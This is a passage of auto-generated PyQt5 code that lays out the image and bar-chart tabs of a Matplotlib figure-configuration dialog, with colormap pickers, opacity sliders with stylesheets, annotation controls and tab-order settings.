self.cmap_class_cbb.setObjectName("cmap_class_cbb")
self.horizontalLayout_16.addWidget(self.cmap_class_cbb)
self.horizontalLayout_15 = QtWidgets.QHBoxLayout()
self.horizontalLayout_15.setSpacing(4)
self.horizontalLayout_15.setObjectName("horizontalLayout_15")
self.cmap_cbb = QtWidgets.QComboBox(self.image_tab)
self.cmap_cbb.setObjectName("cmap_cbb")
self.horizontalLayout_15.addWidget(self.cmap_cbb)
self.add_to_fav_btn = QtWidgets.QToolButton(self.image_tab)
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(":/icons/add.png"), QtGui.QIcon.Normal,
QtGui.QIcon.Off)
self.add_to_fav_btn.setIcon(icon1)
self.add_to_fav_btn.setAutoRaise(False)
self.add_to_fav_btn.setObjectName("add_to_fav_btn")
self.horizontalLayout_15.addWidget(self.add_to_fav_btn)
self.del_from_fav_btn = QtWidgets.QToolButton(self.image_tab)
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap(":/icons/del.png"), QtGui.QIcon.Normal,
QtGui.QIcon.Off)
self.del_from_fav_btn.setIcon(icon2)
self.del_from_fav_btn.setAutoRaise(False)
self.del_from_fav_btn.setObjectName("del_from_fav_btn")
self.horizontalLayout_15.addWidget(self.del_from_fav_btn)
self.horizontalLayout_16.addLayout(self.horizontalLayout_15)
self.reverse_cmap_chkbox = QtWidgets.QCheckBox(self.image_tab)
self.reverse_cmap_chkbox.setObjectName("reverse_cmap_chkbox")
self.horizontalLayout_16.addWidget(self.reverse_cmap_chkbox)
self.cm_image = MatplotlibCMapWidget(self.image_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cm_image.sizePolicy().hasHeightForWidth())
self.cm_image.setSizePolicy(sizePolicy)
self.cm_image.setObjectName("cm_image")
self.horizontalLayout_16.addWidget(self.cm_image)
self.gridLayout_8.addLayout(self.horizontalLayout_16, 0, 1, 1, 1)
self.horizontalLayout_4 = QtWidgets.QHBoxLayout()
self.horizontalLayout_4.setSpacing(4)
self.horizontalLayout_4.setObjectName("horizontalLayout_4")
self.auto_clim_chkbox = QtWidgets.QCheckBox(self.image_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.auto_clim_chkbox.sizePolicy().hasHeightForWidth())
self.auto_clim_chkbox.setSizePolicy(sizePolicy)
self.auto_clim_chkbox.setObjectName("auto_clim_chkbox")
self.horizontalLayout_4.addWidget(self.auto_clim_chkbox)
self.cr_reset_tbtn = QtWidgets.QToolButton(self.image_tab)
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap(":/icons/reset_btn.png"),
QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.cr_reset_tbtn.setIcon(icon3)
self.cr_reset_tbtn.setAutoRaise(False)
self.cr_reset_tbtn.setObjectName("cr_reset_tbtn")
self.horizontalLayout_4.addWidget(self.cr_reset_tbtn)
self.label_45 = QtWidgets.QLabel(self.image_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_45.sizePolicy().hasHeightForWidth())
self.label_45.setSizePolicy(sizePolicy)
self.label_45.setObjectName("label_45")
self.horizontalLayout_4.addWidget(self.label_45)
self.cr_min_dSpinBox = QtWidgets.QDoubleSpinBox(self.image_tab)
self.cr_min_dSpinBox.setButtonSymbols(
QtWidgets.QAbstractSpinBox.UpDownArrows)
self.cr_min_dSpinBox.setProperty("showGroupSeparator", False)
self.cr_min_dSpinBox.setDecimals(3)
self.cr_min_dSpinBox.setMinimum(-999.0)
self.cr_min_dSpinBox.setMaximum(999.0)
self.cr_min_dSpinBox.setObjectName("cr_min_dSpinBox")
self.horizontalLayout_4.addWidget(self.cr_min_dSpinBox)
self.label_46 = QtWidgets.QLabel(self.image_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_46.sizePolicy().hasHeightForWidth())
self.label_46.setSizePolicy(sizePolicy)
self.label_46.setObjectName("label_46")
self.horizontalLayout_4.addWidget(self.label_46)
self.cr_max_dSpinBox = QtWidgets.QDoubleSpinBox(self.image_tab)
self.cr_max_dSpinBox.setDecimals(3)
self.cr_max_dSpinBox.setMinimum(-999.0)
self.cr_max_dSpinBox.setMaximum(999.0)
self.cr_max_dSpinBox.setObjectName("cr_max_dSpinBox")
self.horizontalLayout_4.addWidget(self.cr_max_dSpinBox)
self.gridLayout_8.addLayout(self.horizontalLayout_4, 1, 1, 1, 1)
self.horizontalLayout_17 = QtWidgets.QHBoxLayout()
self.horizontalLayout_17.setSpacing(4)
self.horizontalLayout_17.setObjectName("horizontalLayout_17")
self.show_colorbar_chkbox = QtWidgets.QCheckBox(self.image_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.show_colorbar_chkbox.sizePolicy().hasHeightForWidth())
self.show_colorbar_chkbox.setSizePolicy(sizePolicy)
self.show_colorbar_chkbox.setObjectName("show_colorbar_chkbox")
self.horizontalLayout_17.addWidget(self.show_colorbar_chkbox)
self.cb_orientation_lbl = QtWidgets.QLabel(self.image_tab)
self.cb_orientation_lbl.setEnabled(False)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cb_orientation_lbl.sizePolicy().hasHeightForWidth())
self.cb_orientation_lbl.setSizePolicy(sizePolicy)
self.cb_orientation_lbl.setObjectName("cb_orientation_lbl")
self.horizontalLayout_17.addWidget(self.cb_orientation_lbl)
self.cb_orientation_cbb = QtWidgets.QComboBox(self.image_tab)
self.cb_orientation_cbb.setEnabled(False)
self.cb_orientation_cbb.setObjectName("cb_orientation_cbb")
self.cb_orientation_cbb.addItem("")
self.cb_orientation_cbb.addItem("")
self.horizontalLayout_17.addWidget(self.cb_orientation_cbb)
spacerItem9 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_17.addItem(spacerItem9)
self.gridLayout_8.addLayout(self.horizontalLayout_17, 2, 1, 1, 1)
self.label_43 = QtWidgets.QLabel(self.image_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_43.setFont(font)
self.label_43.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_43.setObjectName("label_43")
self.gridLayout_8.addWidget(self.label_43, 0, 0, 1, 1)
self.label_44 = QtWidgets.QLabel(self.image_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_44.setFont(font)
self.label_44.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_44.setObjectName("label_44")
self.gridLayout_8.addWidget(self.label_44, 1, 0, 1, 1)
spacerItem10 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_8.addItem(spacerItem10, 3, 1, 1, 1)
self.config_tabWidget.addTab(self.image_tab, "")
self.barchart_tab = QtWidgets.QWidget()
self.barchart_tab.setObjectName("barchart_tab")
self.gridLayout_11 = QtWidgets.QGridLayout(self.barchart_tab)
self.gridLayout_11.setContentsMargins(6, 12, 6, 6)
self.gridLayout_11.setSpacing(4)
self.gridLayout_11.setObjectName("gridLayout_11")
self.label_51 = QtWidgets.QLabel(self.barchart_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_51.setFont(font)
self.label_51.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_51.setObjectName("label_51")
self.gridLayout_11.addWidget(self.label_51, 1, 0, 1, 1)
self.label_lineEdit = QtWidgets.QLineEdit(self.barchart_tab)
self.label_lineEdit.setObjectName("label_lineEdit")
self.gridLayout_11.addWidget(self.label_lineEdit, 3, 1, 1, 1)
self.label_57 = QtWidgets.QLabel(self.barchart_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_57.setFont(font)
self.label_57.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_57.setObjectName("label_57")
self.gridLayout_11.addWidget(self.label_57, 3, 0, 1, 1)
self.label_72 = QtWidgets.QLabel(self.barchart_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_72.setFont(font)
self.label_72.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_72.setObjectName("label_72")
self.gridLayout_11.addWidget(self.label_72, 4, 0, 1, 1)
self.gridLayout_9 = QtWidgets.QGridLayout()
self.gridLayout_9.setSpacing(4)
self.gridLayout_9.setObjectName("gridLayout_9")
self.label_50 = QtWidgets.QLabel(self.barchart_tab)
self.label_50.setObjectName("label_50")
self.gridLayout_9.addWidget(self.label_50, 0, 0, 1, 1)
self.bar_opacity_slider = QtWidgets.QSlider(self.barchart_tab)
self.bar_opacity_slider.setStyleSheet(
"QSlider::groove:horizontal {\n"
"border: 1px solid #bbb;\n"
"background: white;\n"
"height: 12px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal {\n"
"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,\n"
" stop: 0 #F57900, stop: 1 #FCAF3E);\n"
"background: qlineargradient(x1: 0, y1: 0.2, x2: 1, y2: 1,\n"
" stop: 0 #FCAF3E, stop: 1 #F57900);\n"
"border: 1px solid #777;\n"
"height: 10px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::add-page:horizontal {\n"
"background: #fff;\n"
"border: 1px solid #777;\n"
"height: 10px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal {\n"
"background: qlineargradient(x1:0, y1:0, x2:1, y2:1,\n"
" stop:0 #eee, stop:1 #ccc);\n"
"border: 1px solid #777;\n"
"width: 15px;\n"
"margin-top: -2px;\n"
"margin-bottom: -2px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:hover {\n"
"background: qlineargradient(x1:0, y1:0, x2:1, y2:1,\n"
" stop:0 #fff, stop:1 #ddd);\n"
"border: 1px solid #444;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal:disabled {\n"
"background: #bbb;\n"
"border-color: #999;\n"
"}\n"
"\n"
"QSlider::add-page:horizontal:disabled {\n"
"background: #eee;\n"
"border-color: #999;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:disabled {\n"
"background: #eee;\n"
"border: 1px solid #aaa;\n"
"border-radius: 4px;\n"
"}")
self.bar_opacity_slider.setMaximum(100)
self.bar_opacity_slider.setProperty("value", 100)
self.bar_opacity_slider.setOrientation(QtCore.Qt.Horizontal)
self.bar_opacity_slider.setTickPosition(QtWidgets.QSlider.NoTicks)
self.bar_opacity_slider.setObjectName("bar_opacity_slider")
self.gridLayout_9.addWidget(self.bar_opacity_slider, 0, 1, 1, 1)
self.bar_opacity_lbl = QtWidgets.QLabel(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.bar_opacity_lbl.sizePolicy().hasHeightForWidth())
self.bar_opacity_lbl.setSizePolicy(sizePolicy)
self.bar_opacity_lbl.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.bar_opacity_lbl.setObjectName("bar_opacity_lbl")
self.gridLayout_9.addWidget(self.bar_opacity_lbl, 0, 2, 1, 1)
self.label_56 = QtWidgets.QLabel(self.barchart_tab)
self.label_56.setObjectName("label_56")
self.gridLayout_9.addWidget(self.label_56, 1, 0, 1, 1)
self.ebline_opacity_slider = QtWidgets.QSlider(self.barchart_tab)
self.ebline_opacity_slider.setStyleSheet(
"QSlider::groove:horizontal {\n"
"border: 1px solid #bbb;\n"
"background: white;\n"
"height: 12px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal {\n"
"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,\n"
" stop: 0 #F57900, stop: 1 #FCAF3E);\n"
"background: qlineargradient(x1: 0, y1: 0.2, x2: 1, y2: 1,\n"
" stop: 0 #FCAF3E, stop: 1 #F57900);\n"
"border: 1px solid #777;\n"
"height: 10px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::add-page:horizontal {\n"
"background: #fff;\n"
"border: 1px solid #777;\n"
"height: 10px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal {\n"
"background: qlineargradient(x1:0, y1:0, x2:1, y2:1,\n"
" stop:0 #eee, stop:1 #ccc);\n"
"border: 1px solid #777;\n"
"width: 15px;\n"
"margin-top: -2px;\n"
"margin-bottom: -2px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:hover {\n"
"background: qlineargradient(x1:0, y1:0, x2:1, y2:1,\n"
" stop:0 #fff, stop:1 #ddd);\n"
"border: 1px solid #444;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal:disabled {\n"
"background: #bbb;\n"
"border-color: #999;\n"
"}\n"
"\n"
"QSlider::add-page:horizontal:disabled {\n"
"background: #eee;\n"
"border-color: #999;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:disabled {\n"
"background: #eee;\n"
"border: 1px solid #aaa;\n"
"border-radius: 4px;\n"
"}")
self.ebline_opacity_slider.setMaximum(100)
self.ebline_opacity_slider.setProperty("value", 100)
self.ebline_opacity_slider.setOrientation(QtCore.Qt.Horizontal)
self.ebline_opacity_slider.setTickPosition(QtWidgets.QSlider.NoTicks)
self.ebline_opacity_slider.setObjectName("ebline_opacity_slider")
self.gridLayout_9.addWidget(self.ebline_opacity_slider, 1, 1, 1, 1)
self.ebline_opacity_lbl = QtWidgets.QLabel(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ebline_opacity_lbl.sizePolicy().hasHeightForWidth())
self.ebline_opacity_lbl.setSizePolicy(sizePolicy)
self.ebline_opacity_lbl.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.ebline_opacity_lbl.setObjectName("ebline_opacity_lbl")
self.gridLayout_9.addWidget(self.ebline_opacity_lbl, 1, 2, 1, 1)
self.gridLayout_11.addLayout(self.gridLayout_9, 2, 1, 1, 1)
self.label_48 = QtWidgets.QLabel(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_48.sizePolicy().hasHeightForWidth())
self.label_48.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_48.setFont(font)
self.label_48.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_48.setObjectName("label_48")
self.gridLayout_11.addWidget(self.label_48, 0, 0, 1, 1)
self.gridLayout_10 = QtWidgets.QGridLayout()
self.gridLayout_10.setSpacing(4)
self.gridLayout_10.setObjectName("gridLayout_10")
self.label_54 = QtWidgets.QLabel(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_54.sizePolicy().hasHeightForWidth())
self.label_54.setSizePolicy(sizePolicy)
self.label_54.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_54.setObjectName("label_54")
self.gridLayout_10.addWidget(self.label_54, 1, 2, 1, 1)
self.label_52 = QtWidgets.QLabel(self.barchart_tab)
self.label_52.setObjectName("label_52")
self.gridLayout_10.addWidget(self.label_52, 1, 0, 1, 1)
self.label_49 = QtWidgets.QLabel(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_49.sizePolicy().hasHeightForWidth())
self.label_49.setSizePolicy(sizePolicy)
self.label_49.setObjectName("label_49")
self.gridLayout_10.addWidget(self.label_49, 0, 0, 1, 1)
self.bar_width_lineEdit = QtWidgets.QLineEdit(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.bar_width_lineEdit.sizePolicy().hasHeightForWidth())
self.bar_width_lineEdit.setSizePolicy(sizePolicy)
self.bar_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.bar_width_lineEdit.setObjectName("bar_width_lineEdit")
self.gridLayout_10.addWidget(self.bar_width_lineEdit, 0, 3, 1, 1)
self.label_58 = QtWidgets.QLabel(self.barchart_tab)
self.label_58.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_58.setObjectName("label_58")
self.gridLayout_10.addWidget(self.label_58, 0, 2, 1, 1)
self.ebline_width_lineEdit = QtWidgets.QLineEdit(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ebline_width_lineEdit.sizePolicy().hasHeightForWidth())
self.ebline_width_lineEdit.setSizePolicy(sizePolicy)
self.ebline_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.ebline_width_lineEdit.setObjectName("ebline_width_lineEdit")
self.gridLayout_10.addWidget(self.ebline_width_lineEdit, 1, 3, 1, 1)
self.ebline_style_cbb = QtWidgets.QComboBox(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ebline_style_cbb.sizePolicy().hasHeightForWidth())
self.ebline_style_cbb.setSizePolicy(sizePolicy)
self.ebline_style_cbb.setSizeAdjustPolicy(
QtWidgets.QComboBox.AdjustToContentsOnFirstShow)
self.ebline_style_cbb.setObjectName("ebline_style_cbb")
self.ebline_style_cbb.addItem("")
self.ebline_style_cbb.addItem("")
self.ebline_style_cbb.addItem("")
self.ebline_style_cbb.addItem("")
self.ebline_style_cbb.addItem("")
self.gridLayout_10.addWidget(self.ebline_style_cbb, 1, 5, 1, 1)
self.ebline_color_btn = QtWidgets.QToolButton(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ebline_color_btn.sizePolicy().hasHeightForWidth())
self.ebline_color_btn.setSizePolicy(sizePolicy)
self.ebline_color_btn.setText("")
self.ebline_color_btn.setIconSize(QtCore.QSize(20, 20))
self.ebline_color_btn.setObjectName("ebline_color_btn")
self.gridLayout_10.addWidget(self.ebline_color_btn, 1, 1, 1, 1)
self.bar_color_btn = QtWidgets.QToolButton(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.bar_color_btn.sizePolicy().hasHeightForWidth())
self.bar_color_btn.setSizePolicy(sizePolicy)
self.bar_color_btn.setText("")
self.bar_color_btn.setIconSize(QtCore.QSize(20, 20))
self.bar_color_btn.setObjectName("bar_color_btn")
self.gridLayout_10.addWidget(self.bar_color_btn, 0, 1, 1, 1)
self.label_53 = QtWidgets.QLabel(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_53.sizePolicy().hasHeightForWidth())
self.label_53.setSizePolicy(sizePolicy)
self.label_53.setAlignment(QtCore.Qt.AlignCenter)
self.label_53.setObjectName("label_53")
self.gridLayout_10.addWidget(self.label_53, 1, 4, 1, 1)
spacerItem11 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.gridLayout_10.addItem(spacerItem11, 1, 6, 1, 1)
spacerItem12 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.gridLayout_10.addItem(spacerItem12, 0, 6, 1, 1)
self.gridLayout_11.addLayout(self.gridLayout_10, 0, 1, 2, 1)
self.gridLayout_4 = QtWidgets.QGridLayout()
self.gridLayout_4.setSpacing(4)
self.gridLayout_4.setObjectName("gridLayout_4")
self.line_4 = QtWidgets.QFrame(self.barchart_tab)
self.line_4.setFrameShape(QtWidgets.QFrame.VLine)
self.line_4.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_4.setObjectName("line_4")
self.gridLayout_4.addWidget(self.line_4, 2, 1, 1, 1)
self.label_78 = QtWidgets.QLabel(self.barchart_tab)
self.label_78.setObjectName("label_78")
self.gridLayout_4.addWidget(self.label_78, 3, 0, 1, 1)
self.label_74 = QtWidgets.QLabel(self.barchart_tab)
self.label_74.setObjectName("label_74")
self.gridLayout_4.addWidget(self.label_74, 1, 3, 1, 1)
self.annote_fontsize_sbox = QtWidgets.QSpinBox(self.barchart_tab)
self.annote_fontsize_sbox.setMinimum(8)
self.annote_fontsize_sbox.setMaximum(30)
self.annote_fontsize_sbox.setProperty("value", 10)
self.annote_fontsize_sbox.setObjectName("annote_fontsize_sbox")
self.gridLayout_4.addWidget(self.annote_fontsize_sbox, 1, 4, 1, 1)
self.line_5 = QtWidgets.QFrame(self.barchart_tab)
self.line_5.setFrameShape(QtWidgets.QFrame.VLine)
self.line_5.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_5.setObjectName("line_5")
self.gridLayout_4.addWidget(self.line_5, 3, 1, 1, 1)
self.annote_angle_dsbox = QtWidgets.QDoubleSpinBox(self.barchart_tab)
self.annote_angle_dsbox.setDecimals(1)
self.annote_angle_dsbox.setMaximum(360.0)
self.annote_angle_dsbox.setSingleStep(1.0)
self.annote_angle_dsbox.setObjectName("annote_angle_dsbox")
self.gridLayout_4.addWidget(self.annote_angle_dsbox, 1, 6, 1, 1)
self.annote_fmt_lineEdit = QtWidgets.QLineEdit(self.barchart_tab)
self.annote_fmt_lineEdit.setObjectName("annote_fmt_lineEdit")
self.gridLayout_4.addWidget(self.annote_fmt_lineEdit, 3, 4, 1, 4)
self.annote_bbox_alpha_dsbox = QtWidgets.QDoubleSpinBox(
self.barchart_tab)
self.annote_bbox_alpha_dsbox.setDecimals(1)
self.annote_bbox_alpha_dsbox.setMaximum(1.0)
self.annote_bbox_alpha_dsbox.setSingleStep(0.1)
self.annote_bbox_alpha_dsbox.setProperty("value", 0.8)
self.annote_bbox_alpha_dsbox.setObjectName("annote_bbox_alpha_dsbox")
self.gridLayout_4.addWidget(self.annote_bbox_alpha_dsbox, 2, 4, 1, 1)
self.label_77 = QtWidgets.QLabel(self.barchart_tab)
self.label_77.setObjectName("label_77")
self.gridLayout_4.addWidget(self.label_77, 1, 0, 1, 1)
self.line_3 = QtWidgets.QFrame(self.barchart_tab)
self.line_3.setFrameShape(QtWidgets.QFrame.VLine)
self.line_3.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_3.setObjectName("line_3")
self.gridLayout_4.addWidget(self.line_3, 1, 1, 1, 1)
self.label_73 = QtWidgets.QLabel(self.barchart_tab)
self.label_73.setObjectName("label_73")
self.gridLayout_4.addWidget(self.label_73, 1, 5, 1, 1)
self.label_75 = QtWidgets.QLabel(self.barchart_tab)
self.label_75.setObjectName("label_75")
self.gridLayout_4.addWidget(self.label_75, 2, 3, 1, 1)
self.horizontalLayout_14 = QtWidgets.QHBoxLayout()
self.horizontalLayout_14.setSpacing(4)
self.horizontalLayout_14.setObjectName("horizontalLayout_14")
spacerItem13 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_14.addItem(spacerItem13)
self.reset_annote_fmt_btn = QtWidgets.QToolButton(self.barchart_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.reset_annote_fmt_btn.sizePolicy().hasHeightForWidth())
self.reset_annote_fmt_btn.setSizePolicy(sizePolicy)
self.reset_annote_fmt_btn.setIcon(icon3)
self.reset_annote_fmt_btn.setObjectName("reset_annote_fmt_btn")
self.horizontalLayout_14.addWidget(self.reset_annote_fmt_btn)
self.gridLayout_4.addLayout(self.horizontalLayout_14, 3, 3, 1, 1)
self.label_76 = QtWidgets.QLabel(self.barchart_tab)
self.label_76.setObjectName("label_76")
self.gridLayout_4.addWidget(self.label_76, 2, 0, 1, 1)
spacerItem14 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.gridLayout_4.addItem(spacerItem14, 1, 7, 1, 1)
self.gridLayout_11.addLayout(self.gridLayout_4, 4, 1, 1, 1)
self.label_55 = QtWidgets.QLabel(self.barchart_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_55.setFont(font)
self.label_55.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_55.setObjectName("label_55")
self.gridLayout_11.addWidget(self.label_55, 2, 0, 1, 1)
spacerItem15 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_11.addItem(spacerItem15, 5, 1, 1, 1)
self.config_tabWidget.addTab(self.barchart_tab, "")
self.gridLayout_3.addWidget(self.config_tabWidget, 1, 0, 1, 1)
self.retranslateUi(Dialog)
self.config_tabWidget.setCurrentIndex(0)
self.cross_rename_chkbox.toggled['bool'].connect(
self.cross_literal_name_lineEdit.setEnabled)
QtCore.QMetaObject.connectSlotsByName(Dialog)
Dialog.setTabOrder(self.fig_title_lineEdit, self.title_font_btn)
Dialog.setTabOrder(self.title_font_btn, self.fig_xlabel_lineEdit)
Dialog.setTabOrder(self.fig_xlabel_lineEdit, self.fig_ylabel_lineEdit)
Dialog.setTabOrder(self.fig_ylabel_lineEdit, self.xy_label_font_btn)
Dialog.setTabOrder(self.xy_label_font_btn, self.autoScale_chkbox)
Dialog.setTabOrder(self.autoScale_chkbox, self.xmin_lineEdit)
Dialog.setTabOrder(self.xmin_lineEdit, self.xmax_lineEdit)
Dialog.setTabOrder(self.xmax_lineEdit, self.ymin_lineEdit)
Dialog.setTabOrder(self.ymin_lineEdit, self.ymax_lineEdit)
Dialog.setTabOrder(self.ymax_lineEdit, self.legend_on_chkbox)
Dialog.setTabOrder(self.legend_on_chkbox, self.legend_loc_cbb)
Dialog.setTabOrder(self.legend_loc_cbb, self.xaxis_scale_cbb)
Dialog.setTabOrder(self.xaxis_scale_cbb, self.yaxis_scale_cbb)
Dialog.setTabOrder(self.yaxis_scale_cbb, self.figWidth_lineEdit)
Dialog.setTabOrder(self.figWidth_lineEdit, self.figHeight_lineEdit)
Dialog.setTabOrder(self.figHeight_lineEdit, self.figDpi_lineEdit)
Dialog.setTabOrder(self.figDpi_lineEdit, self.figAspect_cbb)
Dialog.setTabOrder(self.figAspect_cbb, self.bkgd_color_btn)
